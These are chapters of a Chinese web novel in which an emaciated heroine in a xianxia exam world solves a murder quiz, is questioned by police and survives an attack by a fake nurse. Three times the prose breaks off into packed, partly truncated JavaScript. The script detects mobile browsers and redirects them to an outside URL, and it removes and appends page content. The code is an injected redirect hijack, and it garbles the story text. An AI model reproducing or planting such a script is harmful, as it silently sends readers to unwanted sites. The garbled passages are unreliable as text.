她的思绪跑偏了几秒，虚着眼睛仔细鉴赏了一下来自自己身体内部的交响乐，一只手还保持着抓在墙面上那只手的手心里动弹不得的姿势。 时停并没有使这只手有丝毫改变，拳头上包裹的力道没有一丁点儿松懈。 好吧，其实站这儿也没什么。 歪着身体，彩虹头回过神，她稍微调整了一下站姿，目光看向系统面板冒出来的提示。 【因参考人员提前触发加试内容，满足阶段考核隐藏前置条件，可提前交卷】 【是否选择提前交卷：是／否】 【注：选择提前交卷后参考人员将获得三分钟的思考时间，三分钟后作答。如所提交答案未达标准，视为考核失败，请参考人员谨慎选择】 彩虹头结束阅读，视线从这几行提示挪开，回到考核内容那一栏。 60%线索搜集度，这应该只是合格线。 隐藏前置……除了提前触发加试内容以外，是否还有别的条件？ 比如100%线索搜集度？ 满搜集但没触发加试，如果也同样触发了提前交卷，交卷合格后系统会主动开启加试，还是不会？ 以及参考者……除了她以外，果然还是有别人的吧。 算了，想这些干什么。 她再次看向那只禁锢着自己拳头的墙手——这就是属于她的那张加试入场券？ 挺奇特哈。 考核失败在她看来最多就是死回去，问题不大。 彩虹头没什么负担的选了是。 在她做出选择后，系统面板的提示闪烁两下，发生变幻。 【请参考者回答以下问题】 【一、煤气泄漏引发的爆炸案是意外还是人为？请给出你的理由】 【二、405的使用者有几名？请给出你的理由】 【三、408凶杀案中，被害者张三的头在哪里？】 【请参考者在三分钟后作答，答题限时五分钟】 …… 头？ “先捋一下……从时间线来讲，张三，也就是405的男性被害人，那位半吊子私家侦探，于10月17日半夜从不知名处返回。可能是不想吵醒正在休息的同居人，他并没有直接回到408，而是先去了405，他饥肠辘辘，叫了外卖……不对，他在调查一些事，需要掩人耳目的事，405是他们的秘密据点，一个灯下黑的小小障眼法，所以他不会主动去叫外卖，麻辣烫是他自己从外面带回来的……不，也不对，一身泥巴的他太显眼了，有记忆点，会被店家记住，所以麻辣烫并不是他……是他的同居人李四，她察觉到了405开关门的声音，外卖是她叫的。” 5. 五 时停的空气里，沙哑的声音突兀响起，彩虹头的语速很快，很多地方含混到几乎听不清她说了些什么。 “……李四因为牵挂张三，并没有睡着，她一直在注意外面的动静，察觉到张三已经归来，立刻赶往405与张三汇合。二人之间或许有短暂的交流，张三去做的应该是一件很消耗时间与体力的事，他很累，也很饿，可他没有选择休息，而是打算在405整理思路，看录影，或许是因为他认为录影中有什么关键信息。李四没有阻止他，又或许阻止过，但没成功。李四回到408，没有选择半夜开火，而是叫了外卖，等外卖到后，她在门口接到外卖，送去了405。” “期间张三已经大致清理完了他回来路上留下的脚印与痕迹，之后李四回到408休息，张三则留在405整理思绪。” “10月17日凌晨，依旧停留在405的张三听到了隔壁李四不寻常的声音，或许是呼救，或许是惊叫。他吓了一跳，动作失控，带洒了许多麻辣烫的汤汁。他想到了什么，什么不好的东西，之后他立刻起身，赶往408，期间或许联系了他的同伴求援，他们之间应该有特殊的联系方式。张三知道他们正在做的事情十分危险，危险到一但暴露，必将面临灭顶之灾。” “然后他来到了408，毫无反抗能力的被杀害，又或者反抗了，只是实力悬殊。最终，张三与李四一起，成为了凶手创作的材料。” “他的同伴没能及时赶到。” “凶手在行凶之前不知道408和405之间的联系。” “……为什么邻居没有注意到408的动静？这个世界大概率有定向屏蔽声音的装置，术法，能力之类。” “408的门上有标记，只有在黑暗的环境里才能隐约察觉到轮廓，一个奇怪的符号，是威胁？……不，不是，这个标记应该出现的时间很短，短到张三和李四，以及张三的那位同伴都没有来得及察觉。” “还有你……” 彩虹头转动视线，看向在时停约束下静止在自己脚边不再焦躁的来回磨蹭的那一团朦朦胧胧的黑影。 “你在门口，你为什么在门口？” “凶手很强，你在躲他？不……那个时候凶手还没有来……你在提醒，你试图提醒张三与李四，门上的符号，你想救他们。” “但他们没有察觉。” “他们养的那条‘狗’是你，但他们看不到你，你在生前就认识他们，对吗？” “这么强的怨气，这么强的血气，有人约束了你的疯狂，给理智留了一点空隙，但也只有一点。” “张三的那个同伴。” “凶手来的时候，你在哪？” “……还有凶手，凶手只是杀人，室内的东西他，或者她，都不屑去翻，有恃无恐。” “单纯标记后杀人的惯犯？一个疯子？” “凶手完成杀人行为后，因为张三是从厕所冲出来的，对厕所产生了一定的怀疑，进而发现了405与408之间的联系。他进入405室内，发现什么都没有，感到无趣，于是离开……又或者没有离开，反而利用这样的距离上的优越性，想要近距离观赏自己的杰作被发现后人们的神情……” “张三和李四只是被凶手选中的倒霉蛋。” 彩虹头沉下眉眼。 “可场景内一直在强调失踪案，凶手的行为又明显与失踪案无关，他太张扬了，而且为什么带走头？战利品？” “这位墙手，又在其中扮演了什么角色？如果他是凶手，为什么要在这个时候冒出来，如果他不是，还是这个问题，为什么冒出来，在警察近在咫尺的时候？怕我砸坏墙吗？” …… 换条思路呢？ “凶手与张三正在秘密调查的目标有某种关联，张三被发现了，他是来灭口的……不，不只是灭口，哪有这么大费周章的灭口，还有那些资料和调查痕迹，他为什么不清理？灭口，抹除……比如爆炸，干净便捷高效，又或一场大火……” “……他不是不想，是没来得及，没来得及销毁不该存在的东西，他本打算将现场伪装成什么愉悦犯之流的杰作，不明真相者只会以为这是一起性质恶劣的杀人事件，但知道内情的人呢？” “精心准备的作品，怎么可以没有观众？” “他有预设的观众，他要让观众看到。” “开着的灯是干扰项，张三归来的时间是半夜，他研究了一晚上的录影，忘记了关灯，他们出事的时间就在不久之前！” “可为什么会提前在门上画标记？标记的意义是什么？” 三分钟时间很快就要过去，彩虹头停止碎碎念，转动眼珠，重新看向了墙面，看向了握着自己拳头的那只手。 “张三的朋友赶来了，是你，对吗？或许你本身就在赶来的路上。张三发现了关键信息，他立刻告诉了你，但他不知道的是，他已经暴露。你没能救下被害人，但你阻止了那个人，阻止了凶手进一步的动作。” “如果你没赶到，没关系，凶手会有足够的时间清理干净那些不该存在的东西，只把他的作品留在原地，留给你。” 这样就说的通了。 三分钟的倒计时结束，答题时间开始，彩虹头张了张嘴，又合上。 先答题。 【一、煤气泄漏引发的爆炸案是意外还是人为？请给出你的理由】 ——人为，405在爆炸发生时是密室状态，液化气被人为开启，上面有简易的点火装置，最近的易燃物上有助燃的碳粉。 【二、405的使用者有几名？请给出你的理由】 ——三名，麻辣烫食用者张三，在405放置绿萝的李四…… 彩虹头填写答案的手顿了一下，她再次扫了一眼抓着自己拳头的那只手。 ——……和张三的同伴，新历62年宗门大比中万剑宗的明星学员，王二。理由是他在19号出现在没有任何搜查过的痕迹，还保持着张三离开时样貌的405。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149250|150286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【三、408凶杀案中，被害者张三的头在哪里？】 彩虹头再次停顿，对于这个问题，她还有一些没有想明白的地方。 如果真相是凶手没来得及完成善后，那么他同样没有那个时间将头送出408，从现场来看也没有那颗头颅被碾碎摧毁的痕迹，但不排除凶手用了什么属于这个世界的特殊方式。 如果头是被后面赶来的王二拿走的，理由呢？头……脸，他不希望有人看到张三的脸？不对，这样解释不通……他已经解决了凶手，拥有相对充足的时间，却只是拿走头？房间内的尸体为什么不处理，资料呢？ 不在意？等待他人发现？ 或者……没来得及处理？ 彩虹头紧紧盯着那只墙手。 报警电话可以接通，警察赶来，被抓住的手。 在405时，她就像在玩一场精心搭建的密室逃脱，有沉浸感，更有游戏感，但408却不同。 在这里，她不再是旁观视角，而是切实的参与者。 从405移动到走廊时明明有开门，出门，关门的过程，从走廊到408却没有。她是被塞进来的，突兀的被塞进了这个空间，整个过程大概有两秒。 两秒，应该足够一个修仙世界的能力者做到一些事。 室内没有打斗痕迹，除去沙发上的尸体外，四处都很干净，干净又整洁。 凶手呢？ 彩虹头的脑海里闪过一个画面——一个突然出现的气息，让室内的王二立刻警觉的躲进厕所，他的手里拽着一个小黑人，那是失去意识的凶手。尽管愤怒，他还是暂时留了凶手一命，他需要从凶手那里得到他想要的信息。 等等。 408门上的记号的确是一个威胁，一个针对王二的威胁！ 假设王二很强，无愧于百年一遇名号的强，幕后的人知道他在试图找他们的麻烦，却因为种种原因奈何不了他。 这个时候，他们发现了张三和李四，两个在他们看来可以随便揉捏的弱者，可以拿来威胁王二的工具。他们留下记号，想逼王二现身，逼他就范，但他们忽然改变了主意。 因为张三拿到了关键信息，他们必须灭口。 只派一名杀手……他们知道王二的行程，认为他赶不回来阻止。血腥的凶杀同样是一个警告，一个对王二的警告，他们想要他愤怒，想要摧毁他的意志，哪怕只是暂时的。 说的通。 时间一分一秒过去，彩虹头来不及仔细梳理自己的思绪以免错漏。 回归问题本身，拿头的原因，或许不是因为脸，而是……脑。 王二需要张三脑中的信息！ 仙侠作品中总有的画面，来自强者的搜魂！ 如果真是这样…… 脑海中的画面变幻，这一次，拖着小黑人的身影手中多了一颗头颅。 彩虹头输入了自己的答案。 遗失的头颅在哪里？ ——在405。 6. 六 【检测到参考者阶段作答已完成，是否确定提交答案？】 【是／否】 意念打字……算是科技侧，还是神秘侧？ 彩虹头盯着自己的答案看了一会儿，点了是。 接着她咂巴了两下嘴 考试嘛，就，惯性的紧张一下，惯性。 结算很快完成。 【参考者阶段考核成绩如下】 【阶段线索收集率:67%】 【阶段答案正确率:80%】 【参考者成绩满足标准，恭喜通过阶段考核】 【是否继续考核：是/否】 【注：检测到参考者已触发加试，如继续考核，加试部分内容将计入最终考核指标，请参考者谨慎选择】 彩虹头盯着正确率80%几个字看了一会儿。 问道，“不继续考核会怎么样？” 没人理她，系统面板连个水花都没露。 …… 行叭。 思考了一会儿，终究还是好奇心占了上风，毕竟都到这里了，来都来了。 彩虹头点了是。 【是否复刻随身携带物品？】 【是／否】 是。 【已录入】 【加试部分开启】 伴随着已录入的提示出现，原本在裤兜里的属于王二的手机化作一道光融入了系统面板，在角落里化成了一个手机样的图标。而原本在她脚边的小鬼则化成一道青烟，同样钻进了系统面板，小心翼翼的变成一团半透明的黑色图标，靠在了手机旁边。 【三】 【二】 【一】 【考核继续】 彩虹头回过神，抢在倒计时结束前，把手机重新举回耳边，熟悉的温柔女声自听筒内响起。她依旧在厕所面壁，一只手被人牢牢控住动弹不得。现在摆在她面前的有两个选择，一是开启王二支线，另一个，是留在原地与警方接触。 她实在对对面的人到底是不是王二很好奇。 手确实是，彩虹头认得这只手，毕竟不久前才见过，还摸过，但人是不是就不一定了。修仙世界有变形能力的可能性很高，光凭外形来认人在这里恐怕行不通。 要是能看一眼脸就好了，灵光大概能当身份证用，可惜她看不到。一墙之隔，不便交流，还过不去。 答案正确率80%，说明她的方向是对的，也就是说，张三的头目前的确在隔壁，隔壁的人是凶手的概率极低。 如果现在开口对王二说话，接线员一定能听到，王二很可能暴露，她不确定修仙世界的手机捂话筒管不管用，也不知道这边设置静音那边能不能察觉…… 仅就已知信息而言，王二那边似乎是考核的主体，该选择王二线才对。 但是吧……凡事总有但是。 她对考核世界的官方力量更好奇，问就是职业病。 敲门声又响起一轮，彩虹头能感觉到抓着自己的那只手也在犹豫，可能他最初将她当成了凶手的共犯，又或者是什么第三方搞事人，可在抓住她之后又打消了这个念头。 恩，这时候就得感谢自己的虚弱，以及菜。 不行，不能再磨蹭了。 “……可以让他们说句话吗？” 听筒对面沉默了一会儿，温柔女声再次响起。 “好的，你不要紧张，没事的，我在这里陪着你。” 接线员那边和门外的人之间应该是有即时联系，接线员话音刚落，那边门外的人几乎在同时高声开口。 “我们是警察，不要怕，放心开门。” —————— 官方直播间的考核直播分为两个大区，一个是开放区，但大家更爱叫它混台；一个是非开放区，这个区只对积分达到内层水平的任务者开放。 在初始考核阶段，开放区直播就是所有参与考核人员的大杂烩，非开放区则稍有区别，它被分为四个大区，智类分区只是其中之一。 而现在，无论是在开放区，还是非开放区，直播大屏里的一些小格子正在慢慢淡化。与标志着考核失败的黑屏不同，它们在消失，取而代之的，是被同样大小的小格子框起来的，简单的蓝底黑字，黑字是一串数字。 加试阶段的直播分类悄然出现，里面不再是一屏囊四海的密密麻麻，也没有再划分开放与非开放。分类里，仅仅只有一个搜索栏。 原本属于彩虹头的那个小小块屏幕同样也变成了一串数字，那是代表属于她的个人直播间的入场代码。 【第一】 【这就是单身十年的手速吗？失敬失敬】 【都压了多少？】 【赌狗滚出直播间】 【好重的怨气，上次赔了吗？不会苦茶子都输没了叭，真可怜】 【讲道理这人到底是男是女，怎么看起来辣么怪呢？】 【假发吧，衣服也不合身】 【世界上有能合他身的衣服吗？好好奇到底怎么死的，柴成这样了都】 【应该是她，直觉】 【柴这个字用的就很灵性】 【无所谓性别，能让我赚的都是祖宗，祖宗没有性别】 【六】 【赌狗滚出直播间】 【……你也六】 【能别发六吗？这个数字并不友好】 【你更六】 【前面的，可以设置屏蔽关键词】 【这是报警了？我去，一个黑户，找死呢？】 【不是，你前面没看？】 【分屏就那么丁点大，怎么看？还是智类，眼都花了】 【朋友推荐我压她，本来我想压技类一个小哥的】 【我也是朋友推荐】 【我也……】 【不是，你们都认识？】 【额……】 【应该是因为之前内层来了好几个人到外层盘压智类的原因】 【对对，我朋友说他看到那个人压的第六列倒数第三个，一个花花绿绿的人，压了好多，还说什么黑马什么的】 【我好像知道你们说的是谁了……】 【讲道理就冲报警这操作，已经无了，都散了吧】 【你又知道了，懂哥】 【能提前进加试，说明还是有两把刷子的（沉思）】 【去年也是智类爆冷了】 【赌狗滚出直播间】 【没完了是吧？要滚也是你滚好吗？】 【纯纯有病，已举报】 【好了好了别吵架，一会儿系统封号了】 加试直播分类的单人直播间可以邀请亲友一同观看，一些关系相近的这会儿都三三两两窝在一起。 大概因为是第一批通过初试进入加试的人之一，虽然是智类，但彩虹头的个人直播间里的人气还挺高。 嗯，可能也有一部分‘内幕消息’的原因。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青灰的脸，毫无血色的嘴唇薄的几乎没有厚度，凹陷的眼眶和脸颊，没有眉毛，一身复古街头风的衣服，一头莫名其妙的五彩缤纷。 视觉冲击有点大。 小赵当场被吓的后退了一大步，哆哆嗦嗦的摸向腰间的执法仪。 门只开了一半，骷髅一样的人一手抓着手机，一手抓着门把手，一脸的不安和畏缩。 天知道老孙到底是怎么从那么一张脸上看出来不安的，但他的确能清楚的看到对方的畏缩——因为小孙的应激反应，眼前的人想关门。 怕是真出事了，老孙心里默默想道。 他反应极快的卡住了门，过程中不忘使劲拍了一巴掌小赵。 “你好，报警的是你，对吗？” “我们是警察，不要怕，我们是来帮你的。” “发生什么事了，能先把门打开吗？” 他一边说着，一边背过一只手打着手势。小赵被老孙那一巴掌打的回过神，刚好看到老孙不断晃动的手，他咽了口唾沫，默默往边上挪了两步，借着门框，将自己半个身体藏进了骷髅人的视线死角里。 7. 七 ——准备呼叫增援。 小赵短暂的从业生涯里第一次碰上这样的阵仗，一时间不免有些害怕，以及……兴奋。他的手指搭在腰后联络设备的紧急按钮上，指尖在双重情绪的加持下抖来抖去。 “……我要看你们的证件，可以吗？” “当然可以。” 老孙麻溜的掏证件，期间肘了一下脑子明显还在浆糊的小赵。 骷髅人很有反诈意识的和电话对面的接线员确认了他们的警号和长相特征，最终，仿佛是终于相信了，她挂断电话，松开了拉着门把手的手，犹豫着后退了两步。 门一大开，老孙立刻闻到了从室内飘出的不同寻常的气味，多年的经验使他瞬间警觉。 “不许动！举起手！” …… “姓名？” “……” “年龄？” “……” 封闭的病房内，骷髅人正局促不安的窝在被子里，两只手上没上手铐，这会儿正摆在被面上缴着病号服的袖子来回的捏。她的脖子上扎着输液针，那是护士唯一能找到她的血管并顺利将针头怼进去的地方。为了防止她乱动，还给上了固定支具。 一整套的检测下来，初步结论是严重脱水，脏器有不同程度的衰竭，表皮细胞大面积坏死，还有肌肉萎缩，脑损伤等一系列放在普通人身上基本都很有可能生命垂危的症状，但眼前这个人就是没死，不仅没死，还能动，还能说话。 “她的情况很奇怪，你看，她身上坏死的部分和保持活性的部分相互之间泾渭分明，互不干涉，自成系统，这很不正常。人的身体是一个巨大的分工协作的工厂，它很精密，通常来说，任何一个部件的坏死都会导致一连串的连锁反应，但这个通常在她身上失效了。” “我们怀疑她经受过某种改造，又或者曾经长时间处在某种人为创造的极端环境里，这才造成她现在的样子。” 小赵守在病房门口，有些怜悯的看着瑟缩成一团的骷髅人——这得是受了多少折磨，才能变成现在这样。 医院目前还在研究治疗方案，被害人，是的被害人，小赵内心里就是这么喊的，但理论上她还是嫌疑人。 被害人的情况比较复杂，她是罕见的灵气拥塞体质，简单来说就是无法化用灵气，也无法接受依托灵气来进行的辅助治疗，而且由于她的整个消化系统都十分脆弱，目前只能选择用静脉注射的方式，先补水，看看情况。 局里据说很重视这次的事，要他们趁着骷髅人还能开口的时候抓紧把能问的该问的需要调查的都弄了。 虽然看起来好像还活着，但谁都不能保证，这个人下一秒会不会就没了。 小赵和老孙作为和骷髅人最先接触的人员，有幸成为问询的主导方，之二。 老孙叹了口气，收起手里的小本本，略带询问的和站在他右后方的人对视了一眼。这人是专案组的，因为担心自己这张陌生面孔让骷髅人产生什么应激行为，这会儿还带着口罩。 口罩男冲老孙点了点头。 老孙回过头来，尽量和蔼。 “能告诉我们你还记得什么吗？” 骷髅人怯生生的看了他们一眼，又垂下眼皮。 正当老孙以为她不会开口，想要再问的时候，骷髅人忽然出声了。 “我记得……” …… 彩虹头，好吧换个称呼，毕竟她已经被迫失去了那头色彩缤纷，只留光秃秃的脑壳。 现在她的形象看起来像极了经典外星人电影里的大眼仔。 她本来给自己起了个和这个考核世界里其它人的名字同属性的艺名儿——钱五，但仔细想想，万一真有钱五这个人呢？以考核世界的起名逻辑来看，拥有数字的不是主要人物之一，也该是个重要NPC。 这样一想，撞名可能会带来不必要的麻烦。 于是作罢。 由于这个世界可能拥有各种类别的测谎机制，为了避免一上来就翻车，她斟酌着把自己死前的事儿挑挑拣拣的说了。 她的记忆确实一团浆糊，很多事情都记的不大清楚。 实事求是的事，算不得撒谎不是？ “小五……” 老孙还在思索那些没落网依旧逍遥法外的臭名昭著的组织里有哪些的行事风格和眼前骷髅人说的相符，闻言一下没反应过来，“什么？” 骷髅人抬起眼认真看向他。 “他们叫我小五。” 可能是因为病床上自称小五的骷髅人那坚定的如同参加升旗仪式时站在第一排时的敞亮目光，整个病房安静了一瞬。 还是口罩男率先反应过来，上前一步，友好的伸出手。 “你好，小五。” 别说，声音挺好听。 …… 门外有人，至少两个。来的时候小五看过楼层，是11楼。她注意到整个楼层都很空，警方似乎是专门腾出了一层用来装她一个。 很重视的样子，为什么？ 仅仅是因为她看起来很吓人？ 不，不至于，没看连小赵都不怕她了。 因为408凶杀案背后有隐情？ 哦，有隐情倒是可以肯定的。 可是刚刚询问的时候，他们并没有特意把她往408凶杀案的方向引导，反而一直在问她还记得什么。 病房内的电视比出租屋里的要高级许多，薄薄的贴在墙上一样，那个带着口罩的男人在出门前特意打开了电视，调到了社会新闻频道。这会儿，新闻正在播的刚好是失踪案汇总专题。 这不巧了么？ 272个人，一个在秩序健全，至少表面秩序健全的社会里，有些骇人听闻的数字。 难道他们把她和失踪案联系在一起了？理由呢？她现在诡异的状态？ 如果从旁观的角度来看，第一眼见到她，除了惊吓以外的反应…… 人体实验？ 倒是确实能和失踪案联系起来，但这只是猜想，没有佐证。 小五表面做出一副被新闻吸引了注意力的样子，实则正在默默回忆刚才那批人。 自称老孙的警察身上灵光稀微，跟着他的小赵身上的灵光反而更强些，但二人之间明显是以老孙为主导。 她在这所医院里见到过的医生护士倒是少见有灵光的，似乎是普通人居多。 她总在想提示里灵气复苏的事儿。 这个世界所谓的灵气复苏到底是个什么章程，小五到现在一点头绪也没有。她在术法方面的天赋极其一般，目前为止用的最熟练的只有破障符，以及观气，观气这个技能还全仰仗这双眼睛。 气这个东西是一种很玄乎的存在。在旁人的想像里，什么紫气，鸿蒙之气，阴气都是以颜色，体积来区分类别和强弱，但实际上，在小五眼里，这些气其实并没有颜色，区分全靠经验和……感觉。 比如人多的地方人气足，也可以是说阳气旺，这是一种集体效应，你远观的时候会觉得热乎，温暖，但其实它并没有温度。 再比如烈士陵园里虽阴气弥漫，却正气充足，这也是一种集体效应。烈士们英魂的留存，和前来祭拜的人们的愿景相叠加，它无法容纳饽饽的生机，却拥有着棉厚且温柔的包容，不会给人阴森的感觉。 动物有气，植物也有，它们的气常随环境变化而改变，人类相对而言比较厉害，意志力坚定的人百邪不侵并不是一句戏言。 简单来讲，世间万物，各有各的气，它们相互交融，相互影响，又互相独立。 就小五目前的观察来看，这个世界和她原本的世界并没有太多区别，但又总感觉哪里不对，不是阴气，它给她的感觉很古怪，没见过，不好下定义，也不知道该不该是那个所谓的灵气。 就很迷。 哦，灵光方面倒是没什么问题，好像挺正常的。 小五又想到了那个口罩男，他是小五来到这个考核世界以后见到的所有人里，灵光第二强的了。 如果说老孙是花拳绣腿，小赵是初窥门径，那口罩男多少得是个名校高才，还是凭本事拿全额奖学金，次次考试第一，满身都贴着优秀的那类。 当然，比起王二兄还是差了点。 门外站岗的警察全副武装，病房内加设了监控，窗框上贴着符箓。如果说这些都是用来防止她逃走的，那属实是有点太过抬举她现在这副虚到令人无法理解的尊容。 那名叫小赵的年轻警察临走前忽然冲到她跟前让她别怕，信誓旦旦的说会有人保护她。小五眼睁睁看着一边的口罩男差点暴起按人，又在小赵话音出口的时候收回了手，那双裸露在外一直没什么情绪的眼睛里瞬间写满了无语，最后小赵是被老孙满脸嫌弃的拎走的。 想到这儿，小五有点想笑，小赵的存在让她找回了一丝真正熟悉的感觉，就和她以前认识的那些初出茅庐一身使不完的牛劲儿却又咋咋呼呼丁点大的事都能吓的跳脚的小年轻一样，就和曾经的她一样，多可爱啊。她努力把小赵水汪汪的小眼睛从脑海里翻出去，整个人往被子里缩了缩。 他们严阵以待的样子，如果不是防她，那就是防别人了。 整一层的清场，特别布置过的病房，看起来确实挺像那么回事，但门口却只有两名警员，是还有其他警备人员在别的地方吗？ 总觉得哪里有点违和，有什么地方被她忽略了吗？ 她的手缩在被子里，一边乱七八糟的琢磨，一边抬手悄悄的摸到了脖颈上固定的支具边缘，然后手指往里伸，勾住了一张纸条。 给她扎针的小姐姐很细心，她将纸条的一端塞进了支具内部的某处缝隙，极大程度的减少了中途掉落的风险，又将纸条叠起个棱棱，确保她能感受到那里有异物。 很大胆的做法，又大胆，又细心。 小五很快将纸条捏在了手里。 她没急着去看，而是开始耐心的等。她的身体检查耗费了许多时间，又经历了问询阶段，心理辅导阶段，好容易被告知安心休息，时间已经来到10月17日的夜晚。 再过个把小时，就是约定俗成的，月黑风高夜。 会有人来么？ 来的又会是什么人？ 这个人，他将带着怎样的目的呢？ …… 整个11层都很安静，这里明明是医院，走廊里却不见任何医护人员忙碌的身影。一整层，十来个病房，只有一间病房内亮着灯。 这间病房的门口站着两名荷枪实弹全副武装的警务人员，漆黑的着装上没有任何能表明所属机构的图标或文字，光看外表，还真有些摸不准是不是哪家名门望族圈养的高级安保。 鞋跟踩在光滑的地面上，发出清脆的响声，由远及近。来人的目光扫过不远处病房门口那两名人高马大的守卫，又在对方的视线飘来前收回。 ——多少人挤破了头，就为了去当一条像这样的，助纣为虐的狗。 脚步声来到门口，从容的停了下来。 整一层的空病房，只派了两个人守卫，其它病房已经确定没有埋伏。 他们明知有人盯着这里，所有人都知道他们知道，就像所有人都知道一定会有人来。 是陷阱吗？ 是……又怎么样呢？ “测血压，今天最后一次。” 平凡的脸上，那刚刚勾起两个像素点的讽刺冷笑被主人无情的抹平，公事公办的话语声在病房门口响起。 …… 迷迷糊糊躺在床上的小五被推门声惊醒，她抬眼看过去。 是那个给她扎针的女护士，但是有灵光版。 嗯…… 对方站在门口，手里推着一个小推车，上面是她今天已经见过好几次的的医疗道具。 她眨了下眼，身体在被子里蠕动两下，坐了起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149252|150286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有灵光版的小姐姐推着小车走了进来，她把推车停靠在床边，用带着隔离手套的手拿起上面的血压仪。 隔离手套？ 之前的无灵光版护士小姐姐有带吗？没有吧…… 怕留指纹？ 门口值守的两名警务人员之一也跟了进来，但他没有靠近，只是站在门口，状似警惕的盯着这边。 小五收回看向门口的视线，转过来的瞬间，刚巧看到灵光版护士小姐姐脸上泛起的新一轮嗤笑表情。 …… 阁下演戏颇有些随心所欲呢。 灵光版护士小姐姐并不特别在意病床上这堆骷髅的目光，她眼带威胁的瞪了眼小五，收起嗤笑，面无表情的伸手抓住了她的胳膊。 灵光版护士小姐姐从怀里掏出一个小型注射器。 灵光版护士小姐姐将小型注射器怼向她可怜的胳膊。 门口的警务人员跟瞎了一样，独自摆着高大威猛还能打的poss，但无用。 小五：…… 小姐姐的力气很大，眼见针尖即将戳到自己可怜的胳膊上，小五当机立断，扯着嗓子开嚎。 第六感正在疯狂向她示警，绝对不能被扎到，谁知道针管里装的是什么玩意！ 警务人员后知后觉的投来疑惑的目光，但他们依旧没动。 小五：…… 她说怎么觉得哪里不对劲呢，靠！ 小五扯着嗓子继续嚎，都到现在了，哪还能想不明白这是一场多线钓鱼的事实。 她何德何，不仅被成为最关键的那个饵，一钓钓好几只，甚至她自己还被当成了一条潜在的鱼！ 警方的目标看起来远不止眼前的冒牌护士，他们还在等，可她等不了啊！ 这个世界的官方行事方式这么凶猛的吗？ 靠靠靠！ 小五尖叫着努力缩手，凭借着大力成功让猝不及防的假护士势在必得的第一扎扎空，然后尖叫着暗自发力，尖叫着团成一团，尖叫着借力把自己从床上发射了出去。她精准的撞掉了冒牌小姐姐手里的小型注射器，顺带将人也撞的后退好几步。 几乎用了全力，而众所周知，大力是她的卖点之一。 疼吧？ 应该是疼的，咔嚓的声响，肋骨至少得断两条。 然而，这个女人没松手。 她不仅没松手，反而咬着牙抓的更紧了。 不是你，大姐你这么执着的吗？ 她的尖叫停了一瞬，略有些呆的在惯性牵扯下保持着被薅住一条胳膊的姿势，眼看着对方一击不成，刷的又掏出了一支小型注射器。 好家伙，还有备用。 姐你到底对注射器有多大的执着，为什么啊？这玩意里面是装了你的星辰大海吗？ 小五盯着那闪着寒光的针尖，感受着忽然来袭的剧烈运动下的脱力和全身不听指挥的抖动，人有点麻。 她只是想躺平坐等线索上门而已，并不想成为在获得线索途中的牺牲品。 冒牌护士见事情已经败露，动作不再克制，她直接大力将人扯到自己面前，另一只手迅速将注射器扎了过来。 这边闹出了这么大的动静，那边的警务人员再继续装看不到实在说不过去，他们终于终止了自己摆poss的兼职，想起了自己的本职工作。 他们启动了，但他们看起来似乎对骷髅人的生命安全并不怎么在意，他们冲着假护士小姐姐的方向举起手里的武器，奇怪的枪械声响起，但没什么卵用。 护士小姐姐闪身挡在小五身前，身上仿佛有一层看不见的贴身防护，受到攻击后短暂现身又消失，科技感十足。 小五：…… 不是，赛博灵气复苏？ 还有为什么帮她挡？杀意不是假的，这人确实要杀她，那为什么帮她挡？ 她的胳膊已经在拉扯中脱臼，这会儿正钻心的疼，感觉再稍微用点力，假护士就能突破最后那点牵扯着的薄薄皮肉，徒手将她的胳膊从她身上扯下来。 这种时候哪还有余韵再留后路？ 那个针管里黏糊糊的液体一看就不是什么好东西啊！ 小五忍着疼，动作敏捷的在对方气势凌厉的一扎下后仰歪头，成功躲过了目标明确冲着她眼球来的针尖。然后，对着假护士那张假脸呲了下牙，动作迅速的偏头，一口咬上了对方抓着自己胳膊的手……手腕处裸露的皮肤。 由于身体实在脆弱，咬合力正常但牙龈不给力的小五还没来得及給对方咬出点印子，自己先崩掉两颗牙，连带着造成的牙龈撕裂顷刻间让她满嘴血糊拉碴。 小五的余光瞥到冲过来加入制伏歹徒动作大电影的警务人员陡然显得有些踟蹰的动作。还没等她有进一步行动，比如伸舌头舔两下恶心人什么的，原本死死抓着她胳膊的手忽然松开。 惊恐这东西也是会转移的，虽然放在此情此景里，似乎哪里都有些不对。 尖叫没有真正消失，它只是从小五的嘴里，转移到了冒牌护士嘴里。 冒牌护士突然间像是狂犬发作一样甩开小五连连后退，期间被冲上来的警务人员按倒，又十分勇武的挣脱开继续后退。那避之唯恐不及的态度与之前捏紧了别人的胳膊满脸送你归西的嘲讽样完全不同。仿佛受到了极度的惊吓一般，冒牌护士不仅避，还神经质的将自己被咬的地方在衣服上使劲蹭，她的另一只手上不知道什么时候出现一把短匕，大概是原本打算用来结果小五的备选项之一。此时这把短匕被主人对准了另一样同样属于主人的物件——主人的左手，并被毫不留情的快速挥下。 